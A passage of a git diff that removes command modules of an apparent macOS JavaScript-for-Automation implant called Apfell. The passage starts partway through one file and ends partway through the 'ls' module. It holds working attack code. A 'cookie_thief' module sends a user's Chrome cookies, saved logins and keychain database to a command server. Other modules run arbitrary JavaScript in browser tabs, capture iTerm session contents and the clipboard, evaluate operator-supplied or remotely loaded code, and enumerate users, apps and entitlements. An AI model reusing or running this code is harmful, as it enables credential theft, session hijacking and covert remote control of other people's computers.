|
||||
else if(contents === false){
|
||||
return{"user_output": "False", "completed": true};
|
||||
}
|
||||
else if(contents === undefined){
|
||||
return {"user_output": "Failed to read file. Either you don't have permissions or the file doesn't exist", "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output": contents, "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output": error.toString(), "status": "error", "completed": true};
|
||||
}
|
||||
};
|
||||
@@ -1,15 +0,0 @@
|
||||
exports.cd = function(task, command, params){
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
if(!command_params.hasOwnProperty('path')){return {"user_output": "Missing path parameter", "completed": true, "status": "error"}}
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
let success = fileManager.changeCurrentDirectoryPath(command_params['path']);
|
||||
if(success){
|
||||
return {"user_output": "New cwd: " + fileManager.currentDirectoryPath.js, "completed": true};
|
||||
}else{
|
||||
return {"user_output": "Failed to change directory", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output": error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,52 +0,0 @@
|
||||
exports.chrome_bookmarks = function(task, command, params){
|
||||
let chrome_bookmarks_enum_folder = function(folder, folderPath = "", parentIndex = ""){
|
||||
let folderData = {};
|
||||
folderData["Folder Name"] = folderPath + folder.title();
|
||||
folderData["bookmarks"] = [];
|
||||
// once we are done with folders, let's work on the bookmarked items
|
||||
let entries = chrome_bookmarks_enum_items(folder, parentIndex);
|
||||
folderData["bookmarks"].push(...entries);
|
||||
// for each folder under our current bookmark folder - call chrome_bookmarks_enum_folder
|
||||
for (let i = 0; i < folder.bookmarkFolders.length; i++){
|
||||
folderData["bookmarks"].push({...chrome_bookmarks_enum_folder(folder.bookmarkFolders[i], folderPath + folder.title() + "/", String(folder.index()-1))});
|
||||
}
|
||||
return folderData;
|
||||
};
|
||||
|
||||
let chrome_bookmarks_enum_items = function(folder, parentIndex){
|
||||
let bookmarks = folder.bookmarkItems;
|
||||
let entries = [];
|
||||
for (let j = 0; j < bookmarks.length; j++){
|
||||
let indexPath = parentIndex === "" ? String(folder.index()-1) + "/" + String(bookmarks[j].index()-1) : parentIndex + "/" + String(folder.index()-1) + "/" + String(bookmarks[j].index()-1);
|
||||
entries.push({
|
||||
"Title": bookmarks[j].title(),
|
||||
"URL": bookmarks[j].url(),
|
||||
"Folder/bookmark": indexPath
|
||||
});
|
||||
}
|
||||
return entries;
|
||||
};
|
||||
let all_data = [];
|
||||
try{
|
||||
let ch = Application("Google Chrome");
|
||||
if(ch.running()){
|
||||
let folders = ch.bookmarkFolders;
|
||||
for (let i = 0; i < folders.length; i ++){
|
||||
let folder = folders[i];
|
||||
// we are using the fact that JS passes arrays by reference here to pass a reference to all_data
|
||||
all_data.push(chrome_bookmarks_enum_folder(folder));
|
||||
}
|
||||
}
|
||||
else{
|
||||
return {"user_output": "Chrome is not running", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
let err = error.toString();
|
||||
if(err === "Error: An error occurred."){
|
||||
err += " Apfell was denied access to Google Chrome (either by popup or prior deny).";
|
||||
}
|
||||
return {"user_output":err, "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output": JSON.stringify(all_data, null, 2), "completed": true};
|
||||
};
|
||||
|
||||
@@ -1,23 +0,0 @@
|
||||
exports.chrome_js = function(task, command, params){
|
||||
try{
|
||||
let split_params = JSON.parse(params);
|
||||
let window = split_params['window'];
|
||||
let tab = split_params['tab'];
|
||||
let jscript = split_params['javascript'];
|
||||
if(Application("Google Chrome").running()){
|
||||
let result = Application("Google Chrome").windows[window].tabs[tab].execute({javascript:jscript});
|
||||
if(result !== undefined){
|
||||
return {"user_output": String(result), "completed": true};
|
||||
}
|
||||
return {"user_output":"completed", "completed": true};
|
||||
}else{
|
||||
return {"user_output":"Chrome isn't running", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
let err = error.toString();
|
||||
if(err === "Error: An error occurred."){
|
||||
err += " Apfell was denied access to Google Chrome (either by popup or prior deny).";
|
||||
}
|
||||
return {"user_output":err, "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,25 +0,0 @@
|
||||
exports.chrome_tabs = function(task, command, params){
|
||||
let tabs = {};
|
||||
try{
|
||||
let ch = Application("Google Chrome");
|
||||
if(ch.running()){
|
||||
for (let i = 0; i < ch.windows.length; i++){
|
||||
let win = ch.windows[i];
|
||||
tabs["Window " + i] = {};
|
||||
for (let j = 0; j < win.tabs.length; j++){
|
||||
let tab = win.tabs[j];
|
||||
tabs["Window " + i]["Tab " + j] = {"title": tab.title(), "url": tab.url()};
|
||||
}
|
||||
}
|
||||
}else{
|
||||
return {"user_output": "Chrome is not running", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
let err = error.toString();
|
||||
if(err === "Error: An error occurred."){
|
||||
err += " Apfell was denied access to Google Chrome (either by popup or prior deny).";
|
||||
}
|
||||
return {"user_output":err, "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output": JSON.stringify(tabs, null, 2), "completed": true};
|
||||
};
|
||||
@@ -1,46 +0,0 @@
|
||||
exports.clipboard = function(task, command, params){
|
||||
ObjC.import('AppKit');
|
||||
let parsed_params;
|
||||
try{
|
||||
parsed_params = JSON.parse(params);
|
||||
}catch(error){
|
||||
return {"user_output": "Failed to parse parameters", "status": "error", "completed": true};
|
||||
}
|
||||
if(parsed_params.hasOwnProperty("data") && parsed_params['data'].length > 0){
|
||||
// Try setting the clipboard to whatever is in params
|
||||
try{
|
||||
$.NSPasteboard.generalPasteboard.clearContents;
|
||||
$.NSPasteboard.generalPasteboard.setStringForType($(parsed_params['data']), $.NSPasteboardTypeString);
|
||||
return {"user_output": "Successfully set the clipboard", "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
else{
|
||||
//try just reading the clipboard data and returning it
|
||||
if(parsed_params['read'].length === 0){
|
||||
parsed_params['read'].push("public.utf8-plain-text");
|
||||
}
|
||||
try{
|
||||
let pb = $.NSPasteboard.generalPasteboard;
|
||||
let types = pb.types.js;
|
||||
let clipboard = {};
|
||||
for(let i = 0; i < types.length; i++){
|
||||
let typejs = types[i].js;
|
||||
clipboard[typejs] = pb.dataForType(types[i]);
|
||||
console.log(clipboard[typejs].js)
|
||||
console.log(clipboard[typejs].js !== undefined, parsed_params["read"], typejs, parsed_params["read"].includes(typejs));
|
||||
if(clipboard[typejs].js !== undefined && (parsed_params['read'].includes(typejs) || parsed_params['read'][0] === "*")){
|
||||
clipboard[typejs] = clipboard[typejs].base64EncodedStringWithOptions(0).js;
|
||||
}else{
|
||||
clipboard[typejs] = "";
|
||||
}
|
||||
}
|
||||
return {"user_output": JSON.stringify(clipboard, null, 4), "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -1,37 +0,0 @@
|
||||
exports.code_signatures = function(task, command, params){
|
||||
ObjC.import("Security");
|
||||
let staticCode = Ref();
|
||||
try{
|
||||
let binpath = JSON.parse(params)["path"];
|
||||
if(binpath === undefined || binpath === null){
|
||||
return {"user_output": "Missing Path to examine", "completed": true, "status": "error"};
|
||||
}
|
||||
let path = $.CFURLCreateFromFileSystemRepresentation($.kCFAllocatorDefault, binpath, binpath.length, true);
|
||||
$.SecStaticCodeCreateWithPath(path, 0, staticCode);
|
||||
let codeInfo = Ref();
|
||||
$.SecCodeCopySigningInformation(staticCode[0], 0x7F, codeInfo);
|
||||
ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]);
|
||||
let codeInfo_c = $.CFMakeCollectable(codeInfo[0]);
|
||||
let code_json = ObjC.deepUnwrap(codeInfo_c);
|
||||
if(code_json === undefined){
|
||||
return {"user_output": "Failed to find specified path", "completed": true, "status": "error"};
|
||||
}
|
||||
if(code_json.hasOwnProperty("flags")){
|
||||
let flag_details = [];
|
||||
if( code_json["flags"] & 0x000001 ){flag_details.push({"0x000001": "kSecCodeSignatureHost - May host guest code"})}
|
||||
if( code_json["flags"] & 0x000002 ){flag_details.push({"0x000002": "kSecCodeSignatureAdhoc - The code has been sealed without a signing identity"})}
|
||||
if( code_json["flags"] & 0x000100 ){flag_details.push({"0x000100": "kSecCodeSignatureForceHard - The code prefers to be denied access to a resource if gaining such access would cause its invalidation"})}
|
||||
if( code_json["flags"] & 0x000200 ){flag_details.push({"0x000200": "kSecCodeSignatureForceKill - The code wishes to be terminated if it is ever invalidated"})}
|
||||
if( code_json["flags"] & 0x000400 ){flag_details.push({"0x000400": "kSecCodeSignatureForceExpiration - Code signatures made by expired certificates be rejected"})}
|
||||
if( code_json["flags"] & 0x000800 ){flag_details.push({"0x000800": "kSecCodeSignatureRestrict - Restrict dyld loading"})}
|
||||
if( code_json["flags"] & 0x001000 ){flag_details.push({"0x001000": "kSecCodeSignatureEnforcement - Enforce code signing"})}
|
||||
if( code_json["flags"] & 0x002000 ){flag_details.push({"0x002000": "kSecCodeSignatureLibraryValidation - Require library validation"})}
|
||||
if( code_json["flags"] & 0x010000 ){flag_details.push({"0x010000": "kSecCodeSignatureRuntime - Apply runtime hardening policies as required by the hardened runtime version"})}
|
||||
code_json["flag_details"] = flag_details;
|
||||
code_json["flags"] = "0x" + code_json["flags"].toString(16);
|
||||
}
|
||||
return {"user_output":JSON.stringify(code_json, null, 2), "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,61 +0,0 @@
|
||||
exports.cookie_thief = function(task, command, params){
|
||||
let config = JSON.parse(params);
|
||||
let keyDL_status = {};
|
||||
let username = "";
|
||||
let browser = "chrome";
|
||||
let homedir = "/Users/";
|
||||
let keychainpath = "/Library/Keychains/login.keychain-db";
|
||||
let chromeCookieDir = "/Library/Application Support/Google/Chrome/Default/Cookies";
|
||||
let cookiedir = "/Library/Application Support/Google/Chrome/Default/Cookies";
|
||||
let logindir = "/Library/Application Support/Google/Chrome/Default/Login Data";
|
||||
|
||||
if(config.hasOwnProperty("username") && typeof config['username'] == 'string' && config['username']) {
|
||||
username = config['username'];
|
||||
}
|
||||
else {
|
||||
return {'user_output': "Must supply the username", "completed": true, "status": "error"};
|
||||
}
|
||||
let cookiepath = homedir + username;
|
||||
|
||||
if(config.hasOwnProperty("browser") && typeof config['browser'] == 'string'){
|
||||
browser = config['browser'];
|
||||
}
|
||||
|
||||
if(browser === "chrome") {
|
||||
cookiedir = chromeCookieDir;
|
||||
}
|
||||
let cookieDLPath = cookiepath + cookiedir;
|
||||
let loginDLPath = cookiepath + logindir;
|
||||
|
||||
try{
|
||||
let status = C2.download(task, cookieDLPath);
|
||||
if(!status.hasOwnProperty("file_id")){
|
||||
return status;
|
||||
}
|
||||
}
|
||||
catch(error) {
|
||||
return {'user_output': error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
try {
|
||||
let status = C2.download(task, loginDLPath);
|
||||
if(!status.hasOwnProperty("file_id")){
|
||||
return status;
|
||||
}
|
||||
}catch(error) {
|
||||
return {"user_output": error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
|
||||
let keypath = homedir + username + keychainpath;
|
||||
try{
|
||||
keyDL_status = C2.download(task, keypath);
|
||||
if(keyDL_status.hasOwnProperty("file_id")) {
|
||||
keyDL_status['user_output'] = "\nFinished Downloading KeychainDB, Cookies, and Login Data\n";
|
||||
}else{
|
||||
return keyDL_status;
|
||||
}
|
||||
}
|
||||
catch(error) {
|
||||
return {'user_output': error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
return keyDL_status;
|
||||
};
|
||||
@@ -1,30 +0,0 @@
|
||||
exports.current_user = function(task, command, params){
|
||||
try{
|
||||
let method = "api";
|
||||
if(params.length > 0){
|
||||
let data = JSON.parse(params);
|
||||
if(data.hasOwnProperty('method') && data['method'] !== ""){
|
||||
method = data['method'];
|
||||
}
|
||||
}
|
||||
if(method === "jxa"){
|
||||
let user = Application("System Events").currentUser;
|
||||
let info = "Name: " + user.name() +
|
||||
"\nFullName: " + user.fullName() +
|
||||
"\nhomeDirectory: " + user.homeDirectory() +
|
||||
"\npicturePath: " + user.picturePath();
|
||||
return {"user_output":info, "completed": true};
|
||||
}
|
||||
else if(method === "api"){
|
||||
let output = "\nUserName: " + $.NSUserName().js +
|
||||
"\nFull UserName: " + $.NSFullUserName().js +
|
||||
"\nHome Directory: " + $.NSHomeDirectory().js;
|
||||
return {"user_output":output, "completed": true};
|
||||
}
|
||||
else{
|
||||
return {"user_output":"Method not supported", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,8 +0,0 @@
|
||||
exports.download = function(task, command, params){
|
||||
try{
|
||||
if(params === "" || params === undefined){return {'user_output': "Must supply a path to a file to download", "completed": true, "status": "error"}; }
|
||||
return C2.download(task, params);
|
||||
}catch(error){
|
||||
return {'user_output': error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,6 +0,0 @@
|
||||
exports.exit = function(task, command, params){
|
||||
ObjC.import("AppKit");
|
||||
C2.postResponse(task, {"completed": true, "user_output": "Exiting"});
|
||||
$.NSApplication.sharedApplication.terminate($.nil);
|
||||
$.NSThread.exit();
|
||||
};
|
||||
@@ -1,4 +0,0 @@
|
||||
exports.get_config = function(task, command, params){
|
||||
let config = C2.getConfig();
|
||||
return {"user_output":config, "completed": true};
|
||||
};
|
||||
@@ -1,16 +0,0 @@
|
||||
exports.hostname = function(task, command, params){
|
||||
let output = {};
|
||||
output['localized'] = ObjC.deepUnwrap($.NSHost.currentHost.localizedName);
|
||||
output['names'] = ObjC.deepUnwrap($.NSHost.currentHost.names);
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
if(fileManager.fileExistsAtPath("/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist")){
|
||||
let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist");
|
||||
let contents = ObjC.deepUnwrap(dict);
|
||||
output['Local Kerberos Realm'] = contents['LocalKerberosRealm'];
|
||||
output['NETBIOS Name'] = contents['NetBIOSName'];
|
||||
output['Server Description'] = contents['ServerDescription'];
|
||||
}
|
||||
return {"user_output": JSON.stringify(output, null, 2), "completed": true};
|
||||
};
|
||||
|
||||
|
||||
@@ -1,29 +0,0 @@
|
||||
exports.iTerm = function(task, command, params){
|
||||
try{
|
||||
let term = Application("iTerm");
|
||||
if(!term.running()){
|
||||
term = Application("iTerm2"); // it might be iTerm2 instead of iTerm in some instances, try both
|
||||
}
|
||||
let output = {};
|
||||
if(term.running()){
|
||||
for(let i = 0; i < term.windows.length; i++){
|
||||
let window = {};
|
||||
for(let j = 0; j < term.windows[i].tabs.length; j++){
|
||||
let tab_info = {};
|
||||
tab_info['tty'] = term.windows[i].tabs[j].currentSession.tty();
|
||||
tab_info['name'] = term.windows[i].tabs[j].currentSession.name();
|
||||
tab_info['contents'] = term.windows[i].tabs[j].currentSession.contents();
|
||||
tab_info['profileName'] = term.windows[i].tabs[j].currentSession.profileName();
|
||||
window["Tab: " + j] = tab_info;
|
||||
}
|
||||
output["Window: " + i] = window;
|
||||
}
|
||||
return {"user_output":JSON.stringify(output, null, 2), "completed": true};
|
||||
}
|
||||
else{
|
||||
return {"user_output":"iTerm isn't running", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,4 +0,0 @@
|
||||
exports.ifconfig = function(task, command, params){
|
||||
return {"user_output": JSON.stringify(ObjC.deepUnwrap($.NSHost.currentHost.addresses), null, 2), "completed": true};
|
||||
};
|
||||
|
||||
@@ -1,25 +0,0 @@
|
||||
exports.jscript = function(task, command, params){
|
||||
//simply eval a javascript string and return the response
|
||||
let response = "";
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
if(!command_params.hasOwnProperty("command")){ return {"user_output": "Missing command parameter", "status": "error", "completed": true};}
|
||||
response = ObjC.deepUnwrap(eval(command_params['command']));
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
if(response === undefined || response === ""){
|
||||
response = "No Command Output";
|
||||
}
|
||||
if(response === true){
|
||||
response = "True";
|
||||
}
|
||||
if(response === false){
|
||||
response = "False";
|
||||
}
|
||||
if(typeof(response) != "string"){
|
||||
response = String(response);
|
||||
}
|
||||
return {"user_output":response, "completed": true};
|
||||
};
|
||||
@@ -1,27 +0,0 @@
|
||||
exports.jsimport = function(task,command,params){
|
||||
let script = "";
|
||||
try{
|
||||
let config = JSON.parse(params);
|
||||
let old_script_exists = jsimport === "";
|
||||
if(config.hasOwnProperty("file")){
|
||||
let script_data = C2.upload(task, config['file']);
|
||||
if(typeof script_data === "string"){
|
||||
return{"user_output":"Failed to get contents of file", "completed": true, "status": "error"};
|
||||
}
|
||||
script = ObjC.unwrap($.NSString.alloc.initWithDataEncoding(script_data, $.NSUTF8StringEncoding));
|
||||
}
|
||||
else{
|
||||
return {"user_output":"Need to supply a valid file to download", "completed": true, "status": "error"};
|
||||
}
|
||||
jsimport = script;
|
||||
if(old_script_exists){
|
||||
return {"user_output":"Cleared old script and imported the new script", "completed": true};
|
||||
}else{
|
||||
return {"user_output":"Imported the script", "completed": true};
|
||||
}
|
||||
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,23 +0,0 @@
|
||||
exports.jsimport_call = function(task, command, params){
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
if(!command_params.hasOwnProperty('command')){ return {"user_output": "missing command parameter", "status": "error", "completed": true};}
|
||||
let output = ObjC.deepUnwrap(eval(jsimport + "\n " + command_params['command']));
|
||||
if(output === "" || output === undefined){
|
||||
return {"user_output":"No command output", "completed": true};
|
||||
}
|
||||
if(output === true){
|
||||
return {"user_output":"True", "completed": true};
|
||||
}
|
||||
if(output === false){
|
||||
return{"user_output":"False", "completed": true};
|
||||
}
|
||||
if(typeof(output) != "string"){
|
||||
output = String(output);
|
||||
}
|
||||
return {"user_output":output, "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,20 +0,0 @@
|
||||
exports.launchapp = function(task, command, params){
|
||||
//this should be the bundle identifier like com.apple.itunes to launch
|
||||
//it will launch hidden, asynchronously, and will be 'hidden' (still shows up in the dock though)
|
||||
let response = "";
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
if(!command_params.hasOwnProperty('bundle')){ return {"user_output": "missing bundle identifier", "completed": true, "status": "error"}}
|
||||
ObjC.import('AppKit');
|
||||
$.NSWorkspace.sharedWorkspace.launchAppWithBundleIdentifierOptionsAdditionalEventParamDescriptorLaunchIdentifier(
|
||||
command_params['bundle'],
|
||||
$.NSWorkspaceLaunchAsync | $.NSWorkspaceLaunchAndHide | $.NSWorkspaceLaunchWithoutAddingToRecents,
|
||||
$.NSAppleEventDescriptor.nullDescriptor,
|
||||
null
|
||||
);
|
||||
return {"user_output":"Program launched", "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,36 +0,0 @@
|
||||
exports.list_apps = function(task, command, params){
|
||||
ObjC.import('AppKit');
|
||||
try{
|
||||
let names = [];
|
||||
let procs = $.NSWorkspace.sharedWorkspace.runningApplications.js;
|
||||
for(let i = 0; i < procs.length; i++){
|
||||
let info = {};
|
||||
info['frontMost'] = procs[i].active;
|
||||
info['hidden'] = procs[i].hidden;
|
||||
info['bundle'] = procs[i].bundleIdentifier.js;
|
||||
info['bundleURL'] = procs[i].bundleURL.path.js;
|
||||
info['bin_path'] = procs[i].executableURL.path.js;
|
||||
info['process_id'] = procs[i].processIdentifier;
|
||||
info['name'] = procs[i].localizedName.js;
|
||||
if(procs[i].executableArchitecture === "16777223"){
|
||||
info['architecture'] = "x64";
|
||||
}
|
||||
else if(procs[i].executableArchitecture === "7"){
|
||||
info['architecture'] = "x86";
|
||||
}
|
||||
else if(procs[i].executableArchitecture === "18"){
|
||||
info['architecture'] = "x86_PPC";
|
||||
}
|
||||
else if(procs[i].executableArchitecture === "16777234"){
|
||||
info['architecture'] = "x86_64_PPC";
|
||||
}
|
||||
else {
|
||||
info['architecture'] = procs[i].executableArchitecture;
|
||||
}
|
||||
names.push(info);
|
||||
}
|
||||
return {"user_output":JSON.stringify(names, null, 2), "processes": names, "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,53 +0,0 @@
|
||||
exports.list_entitlements = function(task, command, params){
|
||||
ObjC.import('AppKit');
|
||||
let le = function(pid){
|
||||
ObjC.bindFunction('malloc', ['void**', ['int']]);
|
||||
ObjC.bindFunction('csops', ['int', ['int', 'int', 'void *', 'int'] ]);
|
||||
let output = $.malloc(512000);
|
||||
$.csops(pid, 7, output, 512000);
|
||||
let data = $.NSData.alloc.initWithBytesLength(output, 512000);
|
||||
for(let i = 8; i < data.length; i ++){
|
||||
if(data.bytes[i] === 0){
|
||||
let range = $.NSMakeRange(8, i);
|
||||
data = data.subdataWithRange(range);
|
||||
let plist = $.NSPropertyListSerialization.propertyListWithDataOptionsFormatError(data, $.NSPropertyListImmutable, $.nil, $());
|
||||
return ObjC.deepUnwrap(plist);
|
||||
}
|
||||
}
|
||||
return {};
|
||||
}
|
||||
try{
|
||||
let arguments = JSON.parse(params);
|
||||
let output = [];
|
||||
if(arguments["pid"] === -1){
|
||||
let procs = $.NSWorkspace.sharedWorkspace.runningApplications.js;
|
||||
for(let i = 0; i < procs.length; i++){
|
||||
let entitlements = {};
|
||||
let ent = le(procs[i].processIdentifier);
|
||||
if(ent === null || ent === undefined){
|
||||
ent = {};
|
||||
}
|
||||
entitlements["pid"] = procs[i].processIdentifier;
|
||||
entitlements['bundle'] = procs[i].bundleIdentifier.js;
|
||||
entitlements['bundleURL'] = procs[i].bundleURL.path.js;
|
||||
entitlements['bin_path'] = procs[i].executableURL.path.js;
|
||||
entitlements['name'] = procs[i].localizedName.js;
|
||||
entitlements["entitlements"] = ent;
|
||||
output.push(entitlements);
|
||||
}
|
||||
}else {
|
||||
let entitlements = {};
|
||||
let ent = le(arguments["pid"]);
|
||||
entitlements["pid"] = arguments["pid"];
|
||||
entitlements['bundle'] = "";
|
||||
entitlements['bundleURL'] = "";
|
||||
entitlements['bin_path'] = "";
|
||||
entitlements['name'] = "";
|
||||
entitlements["entitlements"] = ent;
|
||||
output.push(entitlements);
|
||||
}
|
||||
return {"user_output":JSON.stringify(output, null, 2), "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,71 +0,0 @@
|
||||
exports.list_users = function(task, command, params){
|
||||
let all_users = [];
|
||||
let gid = -1;
|
||||
if (params.length > 0) {
|
||||
var data = JSON.parse(params);
|
||||
if (data.hasOwnProperty('gid') && data['gid'] !== "" && data['gid'] > 0) {
|
||||
gid = data['gid'];
|
||||
}
|
||||
}
|
||||
ObjC.import('Collaboration');
|
||||
ObjC.import('CoreServices');
|
||||
if (gid < 0) {
|
||||
let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
|
||||
let grouptolook = 1000 //Most systems don't have groups past 700s
|
||||
for (let x = 0; x < grouptolook; x++) {
|
||||
let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(x, defaultAuthority);
|
||||
let validGroupcheck = group.toString()
|
||||
if (validGroupcheck === "[id CBGroupIdentity]") {
|
||||
let results = group.memberIdentities.js;
|
||||
|
||||
let numResults = results.length;
|
||||
for (let i = 0; i < numResults; i++) {
|
||||
let idObj = results[i];
|
||||
let info = {
|
||||
"POSIXName": idObj.posixName.js,
|
||||
"POSIXID": idObj.posixUID,
|
||||
"POSIXGID": group.posixGID,
|
||||
"LocalAuthority": idObj.authority.localizedName.js,
|
||||
"FullName": idObj.fullName.js,
|
||||
"Emails": idObj.emailAddress.js,
|
||||
"isHiddenAccount": idObj.isHidden,
|
||||
"Enabled": idObj.isEnabled,
|
||||
"Aliases": ObjC.deepUnwrap(idObj.aliases),
|
||||
"UUID": idObj.UUIDString.js
|
||||
};
|
||||
all_users.push(info);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
return {
|
||||
"user_output": JSON.stringify(all_users, null, 2),
|
||||
"completed": true
|
||||
}
|
||||
} else {
|
||||
let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
|
||||
let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority);
|
||||
let results = group.memberIdentities.js;
|
||||
let numResults = results.length;
|
||||
for (let i = 0; i < numResults; i++) {
|
||||
let idObj = results[i];
|
||||
let info = {
|
||||
"POSIXName": idObj.posixName.js,
|
||||
"POSIXID": idObj.posixUID,
|
||||
"POSIXGID": group.posixGID,
|
||||
"LocalAuthority": idObj.authority.localizedName.js,
|
||||
"FullName": idObj.fullName.js,
|
||||
"Emails": idObj.emailAddress.js,
|
||||
"isHiddenAccount": idObj.isHidden,
|
||||
"Enabled": idObj.isEnabled,
|
||||
"Aliases": ObjC.deepUnwrap(idObj.aliases),
|
||||
"UUID": idObj.UUIDString.js
|
||||
};
|
||||
all_users.push(info);
|
||||
}
|
||||
}
|
||||
return {
|
||||
"user_output": JSON.stringify(all_users, null, 2),
|
||||
"completed": true
|
||||
};
|
||||
};
|
||||
@@ -1,24 +0,0 @@
|
||||
exports.load = function(task, command, params){
|
||||
//base64 decode the params and pass it to the default_load command
|
||||
// params should be {"cmds": "cmd1 cmd2 cmd3", "file_id": #}
|
||||
try{
|
||||
let parsed_params = JSON.parse(params);
|
||||
let code = C2.upload(task, parsed_params['file_id'], "");
|
||||
if(typeof code === "string"){
|
||||
return {"user_output":String(code), "completed": true, "status": "error"};
|
||||
//something failed, we should have NSData type back
|
||||
}
|
||||
let new_dict = default_load(base64_decode(code));
|
||||
commands_dict = Object.assign({}, commands_dict, new_dict);
|
||||
// update the config with our new information
|
||||
C2.commands = Object.keys(commands_dict);
|
||||
let cmd_list = [];
|
||||
for(let i = 0; i < parsed_params['commands'].length; i++){
|
||||
cmd_list.push({"action": "add", "cmd": parsed_params['commands'][i]})
|
||||
}
|
||||
return {"user_output": "Loaded " + parsed_params['commands'], "commands": cmd_list, "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,138 +0,0 @@
|
||||
exports.ls = function(task, command, params){
|
||||
ObjC.import('Foundation');
|
||||
let output = {};
|
||||
try {
|
||||
let command_params = JSON.parse(params);
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
let error = Ref();
|
||||
let path = command_params['path'];
|
||||
if (path === "" || path === ".") {
|
||||
path = fileManager.currentDirectoryPath.js;
|
||||
if (path === undefined || path === "") {
|
||||
return {
|
||||
"user_output": "Failed to get current working directory",
|
||||
"completed": true,
|
||||
"status": "error"
|
||||
};
|
||||
}
|
||||
}
|
||||
if (path[0] === '"' || path[0] === "'") {
|
||||
path = path.substring(1, path.length - 1);
|
||||
}
|
||||
if(path[0] === '~'){
|
||||
path = $(path).stringByExpandingTildeInPath.js;
|
||||
}
|
||||
output['host'] = ObjC.unwrap(apfell.procInfo.hostName);
|
||||
output['update_deleted'] = true;
|
||||
let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path), error));
|
||||
let time_attributes = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path), error));
|
||||
if (attributes !== undefined) {
|
||||
output['is_file'] = true;
|
||||
output['files'] = [];
|
||||
if (attributes.hasOwnProperty('NSFileType') && attributes['NSFileType'] === "NSFileTypeDirectory") {
|
||||
let error = Ref();
|
||||
output['is_file'] = false;
|
||||
let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError($(path), error));
|
||||
if (files !== undefined) {
|
||||
let files_data = [];
|
||||
output['success'] = true;
|
||||
let sub_files = files;
|
||||
if (path[path.length - 1] !== "/") {
|
||||
path = path + "/";
|
||||
}
|
||||
for (let i = 0; i < sub_files.length; i++) {
|
||||
let attr = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
|
||||
let time_attr = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
|
||||
let file_add = {};
|
||||
file_add['name'] = sub_files[i];
|
||||
file_add['is_file'] = attr['NSFileType'] !== "NSFileTypeDirectory";
|
||||
let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), $()));
|
||||
if(plistPerms['NSFileExtendedAttributes'] !== undefined){
|
||||
let extended = {};
|
||||
let perms = plistPerms['NSFileExtendedAttributes'].js;
|
||||
for(let j in perms){
|
||||
extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
file_add['permissions'] = extended;
|
||||
}else{
|
||||
file_add['permissions'] = {};
|
||||
}
|
||||
file_add['size'] = attr['NSFileSize'];
|
||||
let nsposix = attr['NSFilePosixPermissions'];
|
||||
